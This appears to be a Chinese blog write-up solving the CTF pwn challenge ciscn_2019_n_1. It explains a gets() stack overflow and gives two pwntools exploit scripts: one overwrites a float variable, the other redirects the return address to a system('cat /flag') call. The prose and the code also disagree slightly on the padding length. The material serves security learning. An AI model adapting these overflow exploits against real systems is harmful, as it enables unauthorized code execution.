ciscn_2019_n_1 ——两种解法

37 篇文章 3 订阅
本文解析了一道CISCN_2019_n_1竞赛题目,涉及地址覆盖和利用system函数绕过漏洞的方法。讲解了如何利用溢出覆盖变量v2的值并执行system('cat/flag')。关键步骤包括确定溢出长度和构造payload。
摘要由CSDN通过智能技术生成

题目分析

在这里插入图片描述
64位程序,栈不可执行,地址没有随机化
查看函数逻辑
在这里插入图片描述
在这里插入图片描述
main函数调用了func(),func中存在经典gets()漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125

方法一:地址覆盖

既然题目判断v2的值,那么我们将v2的值覆盖成11.28125即可,首先我们要找到11.28125的16进制表达形式,因为我们构造payload的时不能传入一个float类型
可以直接使用ida查看
在这里插入图片描述
11.28125 = 0x41348000
那么只剩下该溢出多少这一个问题了
在这里插入图片描述
即溢出距离:0x30-0x4
exp1

from pwn import *
io = process("./ciscn_2019_n_1")
payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.send(payload)
io.interactive()

方法2:利用system(“cat /flag”)

在这里插入图片描述
在这里插入图片描述
我们可以直接跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)
在这里插入图片描述
因此我们构造的payload = 垃圾数据*(0x60-0x30+8) + addr_system(“cat /flag”)
exp2

from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值